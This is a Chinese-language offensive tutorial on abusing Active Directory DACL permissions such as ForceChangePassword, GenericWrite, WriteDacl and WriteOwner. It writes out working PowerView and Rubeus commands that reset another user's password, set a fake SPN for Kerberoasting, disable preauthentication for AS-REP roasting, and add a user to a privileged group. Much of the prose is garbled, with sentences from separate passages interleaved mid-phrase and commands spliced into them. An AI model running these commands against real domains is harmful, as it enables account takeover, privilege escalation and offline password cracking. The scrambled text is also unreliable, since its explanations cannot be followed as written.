DACL的利用
概念
随着我们危害越来越多的用户和计算机,我们发现其中一些对其他域对象具有特定权限。 例如,一个受损的用户帐户可以在不知道原始密码的情况下重置另一个用户的密码。 如果我们故意利用它,我们将危及更多用户。 为了理解这种类型的攻击,让我们介绍一下 DACL 的概念。 在 Active Directory 的上下文中,DACL(自由访问控制列表)是访问控制条目 (ACE) 的列表,它指定允许或拒绝哪些用户或组访问特定资源,例如计算机、SMB 共享或用户帐户 . DACL 作为对象的属性存储,用于对对象实施访问控制。
DACL 中的每个 ACE 指定授予或拒绝特定用户或组的访问权限以及适用于这些权限的权限。 在我们的例子中,用户 svc_sql 可以在不知道 David 原始密码的情况下重置 David 的密码。 我们可以在下图中看到 David 上的 DACL。
从 DACL 来看,这个 ACE 明确指出 svc_sql 可以重置 David 的密码。
在域内,也许会有一些主体对于其他更搞 Active Directory 中可以通过多种方式利用 ACL,包括:
1:使用特权的帐号具有ACLs,这会导致户修改 DACL:如果特权帐号接户遭到破坏,例如域管。举个例子理员帐户,support组它可以修改域管理员目录中的密码
任何对象。
当2:缺乏职责分离:如果不同的组或用户A可以重置用户B的密码时net被授予对 userActive jadamsDirectory Passw0rd中不同对象的访问权限,但没有适当的职责分离,攻击者可能会通过访问他们通常不会拥有的对象来提升他们的特权 /domainPowerView中Set-DomainUserPassword -identity jadams -AccountPassword (ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force) -VerboseOPSEC:这是个很不好的OPSEC
访问权限。
3:不受限制地访问对象:如果 Active Directory 中的某些对象没有得到充分保护,攻击者可能会在不被发现的情况下访问和修改它们。
当用户A对用户B具有GenericWrite权4:权限配置错误:如果权限配置不正确,攻击者可能会未经授权访问域中的主体。
我们还可以给用户设置SPN并进行Kerberoasting攻击,之后离线破解Krb5TGS哈希PowerView中Set-DomainObject -Identity jadams -Set @{serviceprincipalname="srv-1/evil"}execute-assembly rubeus.exe kerberoast /user:jadams /format:hashcat /nowrapSet-DomainObject -Identity jadams -Clear ServicePrincipalName
类似于刚才的思想,我们可以禁用用户账户的预认证然后对其进行ASREPRoasting攻击我们需要修改将分别讨论这个活动目标用户账户的UAC值以禁用预认证Get-NetUser -Identity jadams | ConvertFrom-UACValueSet-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}Get-NetUser -Identity jadams | ConvertFrom-UACValuerubeus.exe asreproast /user:jadams /format:hashcat /nowrap
GenericWrite权限也可以用此方法进行利用恢复预认证Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}Get-DomainUser -Identity jadams | ConvertFrom-UACValue
如果我们对于录中一个组具有ACL,我们可以添加或删除组成员net group "Oracle Admins" bfarmer /add /domain还有其他有意思些常见的 DACL 可能导致类似的利滥用。 例如,我们为了发现潜在的可以利用 WriteDacl从而将 GenericAll权限 授予任何主体。 DACL,我们还可以利主要使用 WriteOwner从而将对象BloodHound,因为它有一个简单的所有权更改为任何主体,然后该主体将在 GUI。
ForceChangePassword
GenericAll
GenericWrite
AllExtendedRights
其上继承他